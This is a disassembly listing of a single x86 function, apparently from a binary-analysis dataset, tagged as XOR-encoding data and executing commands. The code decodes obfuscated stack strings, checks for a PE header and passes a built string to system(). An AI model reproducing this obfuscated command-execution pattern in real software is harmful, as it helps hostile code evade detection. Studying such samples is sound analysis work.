Function at 0x689598e0
Capabilities:
Encode data using xor
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea ecx, [ebp - 0x30]
push ebx
sub esp, 0x12c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.689eea98
push eax
lea eax, [ebp - 0x30]
mov dword [esp], eax
call fcn.68959864
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x119], al
call fcn.689ea920
cmp byte [ebp - 0x119], 0
je 0x68959b0c
mov edx, dword [ebx]
lea eax, [ebp - 0xf0]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.6895a07c
mov eax, dword [ebp - 0xec]
test eax, eax
je 0x68959b0c
lea edx, [ebp - 0xd8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.689f2350
mov eax, dword [ebp - 0xec]
mov byte [0x68a0a228], 0
mov byte [0x68a0a234], 0
shr eax, 1
mov dword [esp + 4], eax
lea eax, [ebp - 0x30]
mov dword [esp], eax
call fcn.689f2350
mov eax, dword [ebp - 0xf0]
lea ecx, [ebp - 0x78]
mov dword [esp], eax
call fcn.689ea3c0
push eax
mov ebx, dword [ebp - 0xd8]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp + 8], ebx
lea ecx, [ebp - 0x78]
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.689e8d10
sub esp, 0x10
lea ecx, [ebp - 0x60]
mov dword [esp], eax
call fcn.689ea320
lea ecx, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xd4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xd8]
mov dword [esp], eax
call fcn.689e7ac0
push edi
lea ecx, [ebp - 0x48]
push edi
mov dword [esp], eax
call fcn.689ea320
mov esi, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x48]
push eax
lea edi, [esi + ebx]
call fcn.6896c1c0
cmp eax, edi
jae 0x68959a2d
lea ecx, [ebp - 0x30]
call fcn.6896c1c0
cmp eax, edi
jb 0x68959a2d
mov eax, dword [ebp - 0x48]
mov dword [esp + 0xc], esi
xor esi, esi
lea ecx, [ebp - 0x30]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.689e8d10
sub esp, 0x10
jmp 0x68959a41
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], ebx
lea ecx, [ebp - 0x48]
mov dword [esp], eax
call fcn.689e7ac0
push ebx
push ebx
mov dword [esp], eax
lea ecx, [ebp - 0xc0]
xor ebx, ebx
call fcn.689ea320
push ecx
lea ecx, [ebp - 0x48]
call fcn.689e6660
lea ecx, [ebp - 0x60]
call fcn.689e6660
lea ecx, [ebp - 0x78]
call fcn.689e6660
lea ecx, [ebp - 0x30]
call fcn.689e6660
jmp 0x68959a99
add eax, dword [eax + 0x3c]
je 0x68959b03
cmp word [eax + 4], 0x14c
sete byte [0x68a0a228]
jne 0x68959b03
cmp dword [ebp - 0xec], 0x163
jbe 0x68959b0c
inc ebx
mov esi, dword [ebp - 0xec]
cmp ebx, esi
je 0x68959b18
mov ecx, esi
mov eax, esi
xor edx, edx
mov edi, dword [ebp - 0xf0]
shr ecx, 1
imul ecx, dword [ebp - 0xd4]
add edi, ebx
div ecx
xor edx, edx
shr eax, 1
imul eax, esi
mov esi, 0xa
div esi
xor edx, edx
mov ecx, eax
mov eax, ebx
div dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd8]
movsx eax, byte [eax + edx]
xor ecx, eax
xor byte [edi], cl
cmp ebx, 0x163
jbe 0x68959a8c
cmp byte [0x68a0a228], 0
jne 0x68959a8c
mov eax, dword [ebp - 0xf0]
test eax, eax
jne 0x68959a74
push eax
xor eax, eax
mov dword [0xc], eax
pop eax
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov dword [ebp - 0x109], 0x64697a65
mov dword [ebp - 0x105], 0x6d67617e
mov byte [ebp - 0x101], 0
call sub.msvcrt.dll_rand
xor eax, eax
lea edx, [ebp - 0x109]
lea ecx, [eax + 8]
xor byte [eax + edx], cl
inc eax
cmp eax, 8
jne 0x68959b40
mov dword [esp], edx
lea ecx, [ebp - 0x30]
call fcn.689ea3c0
push edx
lea ebx, [ebp - 0xf0]
lea ecx, [ebp - 0x48]
mov dword [esp], ebx
call fcn.689ea364
jmp 0x68959b7f
push eax
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x48]
call fcn.6895bb50
mov byte [ebp - 0x119], al
test al, al
je 0x68959cf4
lea edi, [ebp - 0x100]
mov esi, str.Lefffpylniq
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
call sub.msvcrt.dll_rand
xor eax, eax
lea edx, [ebp - 0x100]
jmp 0x68959bc7
lea ecx, [eax + 0xf]
xor byte [eax + edx], cl
inc eax
cmp eax, 0xf
jne 0x68959bc7
mov dword [esp], edx
lea ecx, [ebp - 0x60]
call fcn.689ea3c0
push eax
lea ecx, [ebp - 0x78]
mov dword [esp], ebx
call fcn.689ea364
jmp 0x68959bfe
push eax
lea edx, [ebp - 0x60]
lea eax, [ebp - 0x78]
call fcn.6895bb50
mov byte [ebp - 0x119], al
test al, al
je 0x68959ce4
mov dword [ebp - 0x90], 0x79705b6b
mov dword [ebp - 0x8c], 0x60697f
call sub.msvcrt.dll_rand
xor eax, eax
jmp 0x68959c47
lea edx, [eax + 7]
xor byte [eax + ebp - 0x90], dl
inc eax
cmp eax, 7
jne 0x68959c47
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x111], eax
lea eax, [ebp - 0x111]
mov dword [esp], eax
mov dword [ebp - 0x10d], edx
call fcn.689ea3c0
push eax
lea ecx, [ebp - 0xa8]
mov dword [esp], ebx
call fcn.689ea364
push eax
lea edx, [ebp - 0x90]
lea eax, [ebp - 0xa8]
call fcn.6895bb50
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0x119], al
call fcn.689e6660
lea ecx, [ebp - 0x90]
call fcn.689e6660
jmp 0x68959ce4
lea ecx, [ebp - 0x78]
call fcn.689e6660
lea ecx, [ebp - 0x60]
call fcn.689e6660
lea ecx, [ebp - 0x48]
call fcn.689e6660
lea ecx, [ebp - 0x30]
call fcn.689e6660
cmp byte [ebp - 0x119], 0
je 0x68959d14
mov byte [0x68a0a234], 1
lea ecx, [ebp - 0xc0]
xor esi, esi
call fcn.689e6660
lea ecx, [ebp - 0xd8]
call fcn.689e6660
jmp 0x68959df5
imul eax, esi, 0x18
lea ebx, [ebp - 0x60]
mov ecx, ebx
add eax, 0x68a08fa0
mov dword [esp], eax
call fcn.689eea98
cmp dword [ebp - 0x5c], 0
mov ecx, ebx
push edi
jne 0x68959e02
call fcn.689ea920
inc esi
cmp dword [0x68a0a230], esi
jge 0x68959dd1
jmp 0x68959ef5
mov dword [esp], ebx
lea ecx, [ebp - 0x30]
call fcn.689eea98
push ebx
lea eax, [ebp - 0x30]
mov dword [esp], eax
call fcn.68959864
mov ebx, eax
lea ecx, [ebp - 0x30]
call fcn.689ea920
test bl, bl
je 0x68959b0c
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x28]
mov ebx, dword [ebp - 0x60]
mov dword [ebp - 0x30], edx
add eax, eax
mov edx, eax
lea edi, [ebx + eax]
sar edx, 1
mov dword [ebp - 0x48], edx
cmp eax, 0x1e
jbe 0x68959e5b
xor edx, edx
lea eax, [ebp - 0x48]
call fcn.689e9330
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x30]
cmp ebx, edi
je 0x68959e6e
mov dx, word [ebx]
inc eax
add ebx, 2
mov byte [eax - 1], dl
jmp 0x68959e5e
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x30]
lea ebx, [ebp - 0x78]
mov dword [ebp - 0x2c], eax
mov byte [edx + eax], 0
mov dword [ebp - 0x78], 0x7b697375
mov word [ebp - 0x74], 0x2b7e
mov byte [ebp - 0x72], 0
call sub.msvcrt.dll_rand
xor eax, eax
lea edx, [eax + 6]
xor byte [eax + ebx], dl
inc eax
cmp eax, 6
jne 0x68959e96
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
xor ecx, ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], ecx
lea ecx, [ebp - 0x30]
mov dword [esp + 0xc], eax
call fcn.689e8d10
sub esp, 0x10
lea ecx, [ebp - 0x48]
mov dword [esp], eax
call fcn.689ea320
lea ecx, [ebp - 0x30]
push edx
call fcn.689e6660
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call sub.msvcrt.dll_system
lea ecx, [ebp - 0x48]
call fcn.689e6660
lea ecx, [ebp - 0x60]
jmp 0x68959def
mov eax, dword [ebp - 0xf0]
mov dword [esp], eax
call fcn.6895a6b4
xor eax, eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xf0]
mov byte [eax], 0
call fcn.689e6660
jmp 0x68959b0c